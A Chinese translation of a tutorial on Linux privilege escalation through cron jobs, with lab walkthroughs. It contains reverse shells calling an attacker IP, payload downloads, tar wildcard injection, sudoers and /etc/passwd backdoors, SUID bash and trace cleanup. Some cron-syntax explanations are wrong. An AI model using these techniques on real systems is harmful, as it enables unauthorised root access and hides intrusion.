Linux 提權-Cron Jobs

扛枪的书生發表於2024-06-06

本文透過 Google 翻譯 Cron Jobs – Linux Privilege Escalation - Juggernaut-Sec 這篇文章所產生,本人僅是對機器翻譯中部分表達彆扭的字詞進行了校正及個別註釋補充。


導航

  • 0 前言
  • 1 什麼是 Cron Job?
    • 1.1 瞭解 Crontabs 和 Cron 目錄
    • 1.2 如何在 Crontab 檔案中讀取 Cron 作業
  • 2 尋找 Cron 任務 – 手動方法
    • 2.1 列舉系統 Cron 作業
    • 2.2 列舉使用者 Cron 作業
  • 3 尋找 Cron 任務 – LinPEAS 方法
    • 3.1 將 LinPEAS 下載到受害者
    • 3.2 用 LinPEAS 查詢系統 Cron 作業
  • 4 利用 Cron Jobs – Cron PATH
    • 4.1 確定如何利用 Cron Job
    • 4.2 設定漏洞並獲取 Root Shell
    • 4.3 用指令碼替換 syctemctl 二進位制檔案
  • 5 利用 Cron Jobs – 弱檔案許可權
    • 5.1 確定如何利用 Cron Job
    • 5.2 設定漏洞並獲取 Root Shell
  • 6 利用 Cron Jobs – 弱目錄許可權
    • 6.1 確定如何利用 Cron Job
    • 6.2 設定漏洞並獲取 Root Shell
  • 7 利用 Cron Jobs – tar 萬用字元注入
    • 7.1 將 Shell 升級到完整 TTY
    • 7.2 審查 LinPEAS 輸出
    • 7.3 確定如何利用 Cron Job
    • 7.4 設定漏洞並獲取 Root Shell
  • 8 利用 Cron Jobs – 隱藏的 Cron Jobs
    • 8.1 確定 Cron 守護程序是否正在執行
    • 8.2 使用 PsPy 尋找隱藏的 Cron 任務
    • 8.3 確定如何利用 Cron Job
    • 8.4 設定漏洞並獲取 Root Shell

0、導航

在這篇文章中,我們將深入研究 cron 作業以及如何利用它們將我們的許可權從標準使用者升級到 root。

我們首先了解什麼是 cron 作業以及它們如何工作,然後,我們再瞭解如何使用手動方法以及自動化工具 LinPEAS 來列舉它們。

在學習瞭如何列舉正在執行的 cron 作業之後,我們將回顧五個獨特的 cron 作業示例。

在每個示例中,我們將找到一個正在執行的 cron 作業,然後確定是否滿足允許我們利用它的所有條件。一旦確認,我們將利用 cron 作業將我們的許可權提升到 root。

此外,對於我們利用的每個 cron 作業,我們還將使用不同的技術來提升到 root 許可權。

這會是一件好事,所以讓我們馬上開始吧!

1、什麼是 Cron Job?

Cron 作業是 Linux 版本的計劃任務。它們幾乎可以設定為每分鐘執行一次或每年執行一次。

crond守護程序啟用 cron 功能並讀取 crontab 以執行列出的任何預定義指令碼或命令。

1.1、瞭解 Crontabs 和 Cron 目錄

有兩種型別的 crontab 可用於執行 cron 作業:

  • 系統 crontab – 用於安排系統範圍的作業 – 預設系統 crontab 配置檔案位於 /etc/crontab
  • 使用者 crontab – 此檔案允許使用者建立和編輯僅適用於使用者級別的 cron 作業 – 使用crontab -e命令建立並儲存在 /var/spool/cron/crontabs中。

請注意,使用crontab -e命令建立的 crontab僅對建立它們的使用者可見,它們無法以標準方式列舉,這就是它們被視為 “隱藏 cron 作業” 的原因。標準使用者甚至無法訪問儲存它們的目錄,標準使用者檢視其 crontab 的唯一方法是使用 crontab 命令。

除了 crontabs 之外,還可以將 cron 作業新增到 etc/cron.d 目錄中。但是,這不是一個好習慣,因為 cron.d 主要用於放置軟體或系統自動安裝和更新時附帶的計劃任務檔案。

或者,root 使用者也可以將其指令碼移動到以下目錄中以安排其執行(也是不好的做法):

  • /etc/cron.hourly/ – 每小時執行一次所有指令碼
  • /etc/cron.daily/ – 每天執行一次。
  • /etc/cron.weekly/ – 每週執行一次。
  • /etc/cron.monthly/ – 每月執行一次。

root 使用者建立 cron 作業的唯二地方是: /etc/crontab 檔案或 /var/spool/cron/crontabs/root 中的個人 crontab 檔案

作為攻擊者,我們應該記住可以建立 cron 作業的其他位置。良好的做法並不總是標準做法,因此我們應該檢查可以儲存 cron 作業的所有可能位置。

1.2、如何在 Crontab 檔案中讀取 Cron 作業

最後,我們需要知道如何讀取 cron 任務。幸運的是,/etc/crontab 檔案對此做了很好的解釋。

cat /etc/crontab

首先,我們可以看到 cron SHELL 和 cron PATH,它們本質上是 crontabs 的環境變數。

  • cron SHELL 用於執行 cron 作業,如下所示:/bin/sh -c
  • cron PATH 的工作方式與任何使用者的 PATH 相同。這樣,如果在 cron 作業中使用了沒有絕對路徑的命令,則 cron 作業將從左到右檢查 PATH 中的每個目錄,直到找到命令/指令碼。

接下來,它向我們展示了作業定義,我們可以從中看到 cron 計時器是如何建立的。

有六個位置可以新增值來建立 cron 作業的執行時間表。星號表示所有可能的值。例如:

  • 5 * * * * * = 作業每 5 分鐘執行一次
  • * 12 * * * 1 = 作業每週一中午 12 點執行
  • 52 6 1 * * * = 作業每月 1 日上午 6:52 執行

最後,我們還有四個預定義的 cron 作業,它們允許其他四個目錄中的作業從單個位置執行。

現在我們瞭解了什麼是 cron 作業、它們如何工作以及在哪裡可以找到它們,讓我們看看如何手動和使用工具列舉 cron 作業。

2、尋找 Cron 任務 - 手動方法

對於此示例,假設我們在屬於使用者devops的 NFS 共享資料夾中找到了一個密碼。

找到使用者憑證後,我們能夠使用 SSH 在目標主機上立足。

由於我們能夠透過 SSH 獲得立足點,因此我們已經擁有了完整的 TTY,不需要再升級終端。

2.1、列舉系統 Cron 作業

我們要檢查 cron 作業的第一個地方就是系統 crontab 檔案。

cat /etc/crontab

這裡我們可以看到這個主機上有四個 cron 作業正在執行。

前三個任務每分鐘執行一次,最後一個任務每五分鐘執行一次,所有 cron 任務都以 root 身份執行。

此外,我們還可以看到 cron PATH 已被編輯為包含 /dev/shm,這是一個所有人都可以寫入的資料夾。

我們通常會在 crontab 檔案中找到自定義的 cron 作業;不過,如前所述,還可以在其他目錄執行這些作業。

如果我們在 crontab 檔案中沒有找到任何 cron 作業,或者這些作業無法被利用,我們可以使用以下命令檢查所有 cron 目錄中的自定義作業:

ls -l /etc/cron*

在這裡,我們可以看到可以執行 cron 作業的所有五個附加目錄。遺憾的是,在這些目錄中都沒有找到自定義的 cron 作業,上面這些都是預設情況下在這些目錄中最常見的標準作業。

2.2、列舉使用者 Cron 作業

上面我們已經列舉了所有的系統 crontab,下面我們可以列舉使用者的 crontab(即 隱藏的 cron 作業)。

正如文章前面提到的,標準使用者甚至無法訪問儲存使用者 cron 作業的目錄。

ls -l /var/spool/cron/crontabs

當我們檢查 /var/spool/cron 資料夾許可權時,我們就能明白原因。

ls -l /var/spool/cron | grep "crontabs"

這裡我們可以看到該檔案的所有者是 root 組是 crontab 。由於我們兩者都不是,所以我們屬於第三組,且該組只設定了“粘性位”,用“T”表示。

粘滯位是在檔案或目錄上設定的許可權位,只允許檔案/目錄的所有者或根使用者刪除或重新命名該檔案。

本質上,粘滯位只是使得標準使用者只能編輯使用crontab -e命令建立屬於自己的 cron 作業。

因此,我們必須想出另一種方式來看待它們——如果它們存在的話。

有一種方法可以確定隱藏的 cron 作業是否正在執行,我們將在後面的文章中利用隱藏的 cron 作業時看到這一點。

接下來,讓我們看看 LinPEAS 如何幫我們找到 cron 任務。

3、尋找 Cron 任務 – LinPEAS 方法

LinPEAS 是一款絕佳的後滲透列舉工具,因為它提供了大量資訊。在受害者上執行該工具後,我們將看到透過手動列舉發現的所有相同內容,甚至更多。

然而,在使用工具之前展示手動步驟非常重要,這樣我們才能瞭解工具的輸出以及要尋找的內容。

如果您沒有 LinPEAS 的副本,可以 在這裡 獲取一份。

通常,當我們執行 LinPEAS 時,我們會不帶引數執行“所有檢查項”,然後從上到下逐行梳理所有輸出。

執行完整掃描時的一個好技巧是將 PEAS 的輸出重定向到檔案,以便使用 grep 可以快速解析常見漏洞和關鍵字。

獲取 LinPEAS 的副本後,我們需要將副本轉移到受害者身上。

3.1、將 LinPEAS 下載到受害者身上

這可以透過多種方式完成,但在本例中,我們將從攻擊者機器上啟動的 Web 伺服器下載它。

首先,我們需要從linpeas.sh所在的目錄開啟一個 HTTP 伺服器。

python3 -m http.server 80

然後在受害機器上,我們可以先移動到 /tmp 目錄,再下載 LinPEAS,然後授予其執行許可權。

cd /tmp
wget http://172.16.1.30/linpeas.sh
chmod 755 ./linpeas.sh

3.2、用 LinPEAS 查詢系統 Cron 作業

我們的工具已準備就緒,我們只需使用命令 ./linpeash.sh ,指令碼就會執行。

執行完成後,我們需要找到 "Cron jobs"子部分,它位於 "Processes, Crons, Timers, Services and Sockets"部分。

在這裡我們可以看到,LinPEAS 列舉了我們手動能找到的有關 cron 作業的所有相同資訊(crontab + 4 個 cron 目錄)。

anacron 是一個定期執行命令排程的計算機程式,傳統上由 cron 完成,但不能假定系統可以持續執行。因此,它可用於控制每日、每週和每月工作的執行

LinPEAS 還會檢查我們當前使用者在 cron PATH 中的許可權,以及包含使用絕對路徑執行的任何指令碼的目錄。

透過這項檢查,我們可以在 /opt/scripts 和 /dev/shm 目錄中看到紅色/黃色標識,這意味著我們當前的使用者在這些目錄中具有寫許可權!

此外,我們可以看到執行 tar 命令的 cron 作業也出現了紅色/黃色標識。這是因為命令是以萬用字元(*)結尾,並且是一個已知漏洞。

LinPEAS 中的紅色/黃色標識 = 該發現可被利用來提升許可權的可能性為 95%。

接下來,我們將逐一檢視和利用我們發現的在受害者身上執行的每個 cron 作業。

在每個示例中,我們都假設剛剛在目標主機上站穩腳跟,然後進行了一些基本的手動列舉。由於手動列舉的結果並不理想,所以我們決定執行 LinPEAS 來幫助我們列舉主機;在每個示例中,我們都會發現一個不同的 cron 作業正在執行。

4、利用 Cron Jobs – Cron PATH

對於第一個例子,我們可以看到 crontab 在 cron PATH 中有一個紅色/黃色標識。

此外,我們可以看到有一個 cron 作業以 root 身份每分鐘執行!

4.1、確定如何利用 Cron Job

之前我們瞭解到,沒有執行二進位制檔案或指令碼的絕對路徑的 cron 作業將依賴 cron PATH 來查詢它。在這種情況下,cron 作業將從左到右檢查 cron PATH 中的每個目錄,直到找到二進位制檔案或指令碼。

有了這些資訊,我們就可以使用 find 命令搜尋 sytemctl 二進位制檔案,檢查其執行位置。

find / -iname systemctl 2>/dev/null

這告訴我們systemctl從/usr/bin目錄執行。

檢視 cron PATH,/usr/bin是列出的最後一個目錄。這意味著我們當前的使用者對 PATH 中較早的目錄具有寫許可權。

/dev/shm 上發現的紅色/黃色標識表示我們對該目錄具有寫許可權。為了確認這一點,我們可以發出以下命令:

ls -la /dev | grep "shm"

這裡我們看到全是“w”,這意味著我們可以在這個目錄中寫入。

/dev/shm 與 /tmp 類似,它是一個通用的全域性可寫目錄。

綜上可知:我們有一個以 root 身份每分鐘執行一次的 cron 作業,且是沒有絕對 PATH 的 systemctl 執行命令,以及在 cron PATH 中比二進位制檔案執行位置更早的可寫目錄。

為了利用這個 cron 作業,我們要做的就是製作一個名為“systemctl”的惡意負載並將其放入 /dev/shm 資料夾中。

之後,當 cron 任務執行時,它將沿著 cron PATH 搜尋 systemctl 二進位制檔案。由於 /dev/shm 位於 PATH 的最前面,所以它將停在那裡執行我們的惡意負載,而不是從/usr/bin執行合法的 systemctl 二進位制檔案。

所以現在,我們的下一個目標是製作一個名為 “systemctl” 的惡意二進位制檔案。

4.2、設定漏洞並獲取 Root Shell

轉到我們的攻擊者機器,我們可以製作一個惡意二進位制檔案並使用 msfvenom 將其命名為 systemctl 。

msfvenom -p linux/x64/shell_reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x64 -f elf -o systemctl

現在我們的有效載荷已經建立,我們可以將其下載到受害者的機器上。

之前我們在工作目錄中設定了一個 HTTP 伺服器,用於將 LinPEAS 下載到受害者主機上。我們現在也可以使用它來將我們的有效載荷下載到受害者主機上。

在受害者主機上,將目錄更改為 /dev/shm 目錄,然後下載有效負載。

cd /dev/shm
curl 172.16.1.30/systemctl -o systemctl

這裡我們可以看到漏洞已成功下載;但是,它還沒有準備好。為了讓 cron 任務執行我們的二進位制檔案,我們需要授予其執行許可權。

chmod 755 ./systemctl

完美!有效載荷已準備就緒,每分鐘都會觸發一次。剩下要做的就是在攻擊者的機器上啟動 netcat 監聽器,並在下次 cron 作業執行時抓取 root shell。

不到一分鐘,root shell 就檢查完畢!

4.3、用指令碼替換 syctemctl 二進位制檔案

在建立惡意systemctl二進位制檔案時,我們實際上可以使用一個非常酷的技巧。

由於 cron 任務的工作方式,cron SHELL 透過呼叫 /bin/sh -c “command” 來執行 crontab 中的二進位制檔案/指令碼

這意味著我們實際上可以透過編寫“指令碼”來製作惡意的systemctl “二進位制檔案”。

“二進位制” 和 “指令碼” 都加了引號,因為這兩者單從作業執行上來看,其實就是一個具有執行許可權的命令而已,無所謂區分是指令碼還是二進位制程式。

由於 cron 作業將使用 /bin/sh -c 執行命令,所以我們要做的就是將單個惡意命令命名為systemctl的檔案中,然後 cron 作業將像執行二進位制檔案一樣執行它。

例如,我們可以用以下命令授予當前使用者 完整的sudo 許可權:

echo 'echo "devops ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers' > /dev/shm/systemctl

接下來,我們需要賦予指令碼執行許可權。

chmod 755 /dev/shm/systemctl

現在我們只需要等待一會兒,然後測試 sudo -l 命令看看它是否有效。

BOOM!指令碼執行並授予當前使用者 完整的sudo 許可權。

現在我們只需執行以下命令即可成為 root 使用者且無需輸入密碼:

sudo su -

5、利用 Cron Jobs – 弱檔案許可權

在第二個例子中,我們檢查了 LinPEAS 輸出,發現根本沒有任何紅色/黃色標識。

但我們看到一個 cron 任務以 root 身份每分鐘執行一次,並且該任務正在使用絕對路徑執行 /opt/scripts 目錄中的指令碼。

即使這不是紅色/黃色標識,但也值得仔細觀察!

5.1、確定如何利用 Cron Job

此時我們不知道是否可以寫入該指令碼,因此我們需要檢查的第一件事就是確定是否可以利用這個 cron 作業。

首先,我們應該檢查 /opt/scripts 目錄的許可權。

ls -l /opt | grep "scripts"

這表明指令碼目錄歸 root 所有,並且我們的使用者只有讀取/執行許可權。

但是,我們可以對health-check.sh指令碼本身擁有寫許可權,所以接下來讓我們檢查一下。

ls -l /opt/scripts | grep "health-check.sh"

太棒了!雖然我們沒有目錄的寫入許可權,但目錄下的檔案本身是所有人都可以寫入的!

這意味著我們可以用惡意檔案替換該檔案,或者編輯它以便它為我們執行惡意命令。

接下來,我們應該閱讀指令碼,看看它在做什麼。這將幫助我們確定是否最好編輯或替換該檔案。

cat /opt/scripts/health-check.sh

該指令碼用於檢查 Web 伺服器是否已啟動並正在執行。更重要的是,我們可以看到一個迴圈,並且指令碼在測試完成後也會退出。

這意味著我們不能在指令碼底部新增惡意命令,因為它永遠不會執行。例如,如果迴圈中的第一個條件為真,指令碼就會在此結束執行。指令碼將永遠無法執行我們的命令。

但是,我們在 SSH 會話中擁有完整的 TTY,因此可以使用 vim、nano 等文字編輯器編輯指令碼,然後直接在受害者主機上進行編輯。

這樣,我們就能將惡意命令放在指令碼的開頭,使其在迴圈之前執行。

5.2、設定漏洞並獲取 Root Shell

對於此示例,我們將以下命令新增到指令碼中:

cp /bin/bash /tmp && chmod +s /tmp/bash

這告訴指令碼將 /bin/bash 二進位制檔案複製到 /tmp,然後在 bash 的副本上設定 SUID 位。

接下來,我們需要找到已安裝的文字編輯器。為此,我們將嘗試使用常用的文字編輯器開啟指令碼,從 vim 開始:

vim /opt/scripts/health-check.sh

完美!vim 已安裝,我們可以將我們的命令新增到指令碼的第一項執行內容中。

現在我們等待,但不會持續太久,因為不到一分鐘後,我們的 SUID bash 二進位制檔案就出現在 /tmp 目錄中!

太棒了!cron 任務在執行指令碼的其餘部分之前執行了我們的惡意命令,然後建立了一個 SUID bash 二進位制檔案!

由於 bash 副本二進位制檔案的所有人是 root,因此我們可以使用它輕鬆進入 root shell。

/tmp/bash -p

6、利用 Cron Jobs – 弱目錄許可權

這個示例與上一個示例非常相似;不過,為了使其與眾不同,我們將回顧一個涉及指令碼丟失的有趣用例。

檢查 LinPEAS 輸出,我們可以看到這個 cron 作業看起來與我們上次看到的非常相似,但這次它被標記為紅色/黃色標識。

6.1、確定如何利用 Cron Job

看到 /opt/scripts 為紅色/黃色標識表明我們當前的使用者應該對該目錄具有寫許可權。

為了確認這一點,我們可以使用以下命令:

ls -l /opt | grep "scripts"

太棒了!這證實了我們當前的使用者確實在 /opt/scripts 目錄中具有寫許可權!

這意味著我們應該能夠備份當前的指令碼,然後用惡意指令碼替換它。

然而,當我們檢查指令碼時,卻找不到它……

ls -l /opt/scripts

我猜這意味著我們將無法利用這個 cron 作業,因為指令碼不存在?

其實不然!我們仍然可以利用這個 cron 作業!

由於我們擁有 /opt/scripts 目錄的寫入許可權,因此我們可以自己建立指令碼。

6.2、設定漏洞並獲取 Root Shell

對於這個例子,我們將建立一個反向 shell payload 並將指令碼命名為 backup.sh

echo '#!/bin/bash' > /opt/scripts/backup.sh
echo "" >> /opt/scripts/backup.sh
echo 'bash -i >& /dev/tcp/172.16.1.30/443 0>&1' >> /opt/scripts/backup.sh

指令碼建立完成後,我們需要賦予它執行許可權。

chmod 755 /opt/scripts/backup.sh

最後,我們需要回到攻擊機器,在 443 埠啟動 netcat 監聽器。不到一分鐘後,我們的 root shell 就會登入。

7、利用 Cron Jobs – tar 萬用字元注入

在這個例子中,我們透過利用執行在 80 埠的網路伺服器,在目標上建立了立足點。

這次,我們找到了一種上傳 PHP 指令碼並執行的方法,從而以使用者www-data 的身份獲得了立足點。

7.1、將 Shell 升級到完整 TTY

由於我們使用 netcat 獲取了這個 shell,所以我們應該嘗試升級到完整的 TTY。

請記住,這個步驟對於這個特定示例的執行並不是必需的,但這是一個很好的練習。

嘗試將基本 shell(終端)升級為完整的 TTY 總是個好主意。如果你有興趣,我在關於手動列舉的[文章](Manual Enumeration – Linux Privilege Escalation)中詳細說明了這一點的重要性。

python3 -c 'import pty;pty.spawn("/bin/bash");'
CTRL + Z
stty raw -echo;fg
export TERM=xterm

現在我們有了完整的 TTY,我們可以使用箭頭瀏覽命令歷史記錄、使用製表符補全、清除終端等。

7.2、審查 LinPEAS 輸出

就像前面的例子一樣,讓我們快進一下,假設我們已經進行了一些基本的手動列舉。但由於手動列舉的結果並不理想,所以我們決定執行 LinPEAS,現在我們正在檢視輸出結果。

這裡我們可以看到一個 cron 任務,以 root 身份每 5 分鐘執行一次。我們還可以看到目錄和命令都是紅色/黃色標識。

cron 任務首先使用cd命令進入到 webroot 目錄。然後執行tar命令壓縮目錄中的所有檔案,並將備份檔案儲存在 /root/website 目錄中。

7.3、確定如何利用 Cron Job

www-data 賬戶擁有 var/www,因此該帳戶肯定擁有 /var/www/html 的寫入許可權。這就是為什麼它出現紅色/黃色標識。

此外,我們可以看到命令中的 gz 部分也是紅色/黃色標識。這是因為命令末尾有一個萬用字元,允許 tar 一次性壓縮目錄內的所有檔案。

然而,這也為萬用字元注入漏洞開啟了大門。

由於使用了萬用字元,我們實際上可以建立 switch檔案(即以tar命令引數命名的檔案),而 tar 在壓縮目錄中的所有內容時便會將這些檔案包含進去。

在 PoC 中,我們可以建立一個以 -index-file=output.txt 引數命名的switch檔案。然後,一旦 cron 作業執行,tar 便會以 root 身份執行這個引數相對應的動作。

touch '/var/www/html/--index-file=output.txt'

果然,幾分鐘後,output.txt 檔案出現了,並且它的所有者是 root!

完美!這證實我們可以利用這個 cron 任務進行惡意攻擊!

之所以這樣工作,是因為命令列中的萬用字元被目錄中所有檔案的檔名稱所取代。例如,在我們將“switch”檔案新增到目錄之前,cron 作業執行時它看起來是這樣的:

tar -czf /root/website/backup.tar.gz index.html info.php monkey.php webshell.php

然而,在我們將“switch”檔案新增到目錄之後,它就變成了這樣:

tar -czf /root/website/backup.tar.gz --index-file=output.txt index.html info.php monkey.php webshell.php

因為“switch”檔案多是以“--”開頭,所以它將是第一個被壓縮的 “檔案”。

我把“檔案”放在引號中,是因為我們確實建立了一個這樣的檔案,但是當 tar 執行時,tar不會將其視為檔案,對於 tar 來說,它只是一個開關。

透過快速從目錄中刪除 output.txt,然後執行 PoC,我們可以看到,由於我們不是 root(不能在 /root 中寫入),所以出現了錯誤。不過,我們也可以看到 output.txt 檔案已經建立。為了確認是我們建立了這個檔案(而不是 cron 作業),我們可以看到這次的所有者不是 root,而是 www-data。

注:上面關於 tar 引數命名的檔案我均以 “switch檔案” 進行表達,我覺得這樣更容易理解。而下面關於tar引數的表達我沒有繼續再用 switch 表達,我覺得此處用開關更能表達意思。

現在已經我們瞭解了它的工作原理,讓我們看看如何使用不同的 tar 開關進行惡意攻擊。

使用 tar –help,我們可以看到 tar所有可用的開關;然而,我們正在尋找兩個特定的開關。

我們感興趣的開關是上面突出顯示的兩個檢查點開關。透過建立以這些開關命名的“檔案”,我們將能夠執行檔案。

當 cron job 使用 tar 壓縮目錄時,會執行第一個 checkpoint 開關,啟動檢查點,一旦檢查點啟動,checkpoint-action 開關就會觸發併為我們執行一個檔案。

7.4、設定漏洞並獲取 Root Shell

好了,我們要做的第一件事就是建立將在第二個檢查點開關中執行的檔案。

在本例中,我們將編寫一個 bash 指令碼,讓其在 passwd 檔案中建立一個 root 使用者。

為此,我們需要跳轉到攻擊者的機器,然後使用 openssl 建立雜湊密碼。為簡單起見,我們將使用“password”作為密碼。

openssl passwd password

執行命令後,我們會得到一個雜湊值 ShuKpZV7v9ak,請保留這個值,因為我們在下一個命令中會需要它。

接下來,我們將建立一個指令碼,將第二個 root 使用者 r00t 新增到 passwd 檔案中

echo '#!/bin/bash' > /var/www/html/rootme.sh
echo "" >> /var/www/html/rootme.sh
echo 'echo "r00t:ShuKpZV7v9akI:0:0:root:/root:/bin/bash" >> /etc/passwd' >> /var/www/html/rootme.sh

指令碼看起來沒問題!我們只需要授予它執行許可權,以便 tar 可以為我們執行它。

chmod 755 ./rootme.sh

接下來我們需要建立switch“檔案”來為我們執行該指令碼。

touch '/var/www/html/--checkpoint=1'
touch '/var/www/html/--checkpoint-action=exec=sh rootme.sh'

一切都已準備就緒,現在到了關鍵時刻……

不到一分鐘後檢查 passwd 檔案,我們可以看到 r00t 使用者已建立!

cat /etc/passwd | grep r00t

太棒了!漏洞利用成功,並建立了一個 root 使用者。現在,我們只需使用 su 命令即可成為 r00t,並在提示時輸入 password 作為密碼。

BOOM!就這樣,我們就進入了 root shell。

8、利用 Cron Jobs – 隱藏的 Cron Jobs

對於這最後一個例子,我們再次以 devops 使用者身份透過 SSH 進入主機,並執行 LinPEAS。

本示例與其它示例相比的一個主要的區別是,這次 LinPEAS 沒有在 /etc/crontab 檔案中發現正在執行的單個自定義 cron 作業。

此外,/etc/cron* 目錄中沒有執行任何自定義 cron 作業。

由此看來,本次透過利用 cron 作業漏洞提升許可權的可能性似乎不大。

對我們來說幸運的是,這並不完全正確,因為我們仍然不知道是否有任何使用者 cron 作業正在執行。

8.1、確定 Cron 守護程序是否正在執行

在本篇文章的前半部分,我們瞭解了使用者 crontab,這是一個允許使用者建立和編輯適用於使用者級別的 cron 作業的檔案。我們還了解到,這些指令碼儲存在 /var/spool/cron/crontabs 目錄中,標準使用者無法訪問該目錄。

如果我們沒有在 /etc/crontab 或任何其他 /etc/cron* 目錄中發現任何正在執行的 cron 作業,我們應該首先確認 cron 守護程序是否正在執行。

ps -efw | grep -i "cron"

好了,在這裡我們可以看到 cron 守護程序正在執行,這意味著仍有可能有一個使用者 cron 作業在執行,而且希望是以 root 的身份執行。

8.2、使用 PsPy 尋找隱藏的 Cron 任務

我們可以使用一個很棒的工具來實時檢視正在執行的程序,它叫做 pspy

pspy 是一款命令列工具,用於窺探程序而無需 root 許可權。它允許你檢視其他使用者執行的命令、cron 作業等的執行情況。

在攻擊者的機器上獲取該工具的 32 位和 64 位版本的副本後,我們需要將副本傳輸到受害者身上。

由於該受害者正在執行 x64 架構,因此我們將傳送 64 位版本。

在攻擊者機器上,我們可以在工作目錄中放置一份 pspy 副本,該目錄目前仍託管著 HTTP 伺服器。然後回到受害者機器上,使用以下命令抓取副本:

cd /dev/shm
curl 172.16.1.30/pspy64 -o pspy64

接下來,我們需要賦予二進位制執行許可權。

chmod 755 ./pspy64

現在該工具已可供使用,我們可以執行它並等待檢視是否出現任何有趣的流量。

幾分鐘後,我們不僅可以清楚地看到 cron 作業每分鐘都在執行,而且它還以 root 身份執行!

太棒了!使用 pspy 我們能夠找到正在執行的 “隱藏 cron 作業”。

現在我們已經找到了我們正在尋找的東西,我們可以使用CTRL + C退出 pspy 。

8.3、確定如何利用 Cron Job

發現受害者正在執行 cron 作業後,下一步就是檢查目錄和指令碼本身的許可權。

首先,我們應該檢查指令碼執行所在的 /opt/scripts 目錄的許可權。

ls -l /opt | grep "scripts"

太棒了!我們發現我們對 /opt/scripts 目錄具有寫許可權!

接下來,我們還應該檢查檔案的所有者,看看是否可以直接編輯。

ls -l /opt/scripts | grep "test-connect.sh"

由於我們對目錄具有寫許可權而對檔案沒有寫許可權,因此我們無法像之前那樣編輯指令碼!

透過這一發現,我們確定利用這個 cron 作業的唯一方法是用惡意指令碼替換該指令碼。

實際上,我們有一種方法可以寫入指令碼。移動檔案時會發生一些有趣的事情,我們將在後面看到。

接下來,讓我們快速檢查一下指令碼正在做什麼。

cat /opt/scripts/test-connect.sh

好吧,這只是一個簡單的指令碼,它使用 if/else 語句來檢查網路是通還是斷。

8.4、設定漏洞並獲取 Root Shell

無論它做什麼,我們都無法對其進行編輯,因此我們將把原始指令碼移動到一個我們可以寫入的目錄中,然後用惡意版本替換該指令碼。

mv /opt/scripts/test-connect.sh /dev/shm

有趣的是,一旦檔案被移動,devops 將成為檔案所有者。這意味著我們可以在移動指令碼後對其進行編輯,然後將其移回原始資料夾。

相反,我們將繼續執行原計劃,用惡意指令碼替換當前指令碼。

為什麼檔案在移動時不屬於 root? 這是由於DevOps 在移動檔案時,ACL 阻止檔案歸 root 所有;因此,系統被迫讓 DevOps 成為“新”檔案的所有者。最簡單的理解是,DevOps 無法將 root 指定為檔案所有者;但是,root 可以將任何使用者指定為檔案所有者。

由於我們已經使用 cron 作業以 4 種不同的方式獲取 root 身份,因此這次我們將保持簡單並在 /tmp 資料夾中建立另一個 SUID bash 二進位制檔案。

echo '#!/bin/bash' > /opt/scripts/test-connect.sh
echo "" >> /opt/scripts/test-connect.sh
echo 'cp /bin/bash /tmp && chmod +s /tmp/bash' >> test-connect.sh

不到一分鐘,/tmp 目錄中就會出現一個新的 SUID bash 二進位制檔案!

由於 bash 二進位制檔案歸 root 所有,我們可以使用它輕鬆進入 root shell。

/tmp/bash -p

最後,不要忘記清理指令碼並從備份中恢復它並再次讓 root 成為所有者!

mv /dev/shm/test-connect.sh /opt/scripts/
chown root:root /opt/scripts/test-connect.sh

太棒了!現在一切都恢復了原樣,就像我們從未來過一樣!

相關文章